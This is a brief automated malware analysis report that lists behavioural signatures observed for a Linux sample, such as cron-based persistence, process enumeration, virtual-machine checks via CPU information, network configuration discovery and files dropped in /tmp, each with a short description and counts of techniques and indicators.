Malware Config

Signatures

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

    Execute scripts via Unix Shell.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.
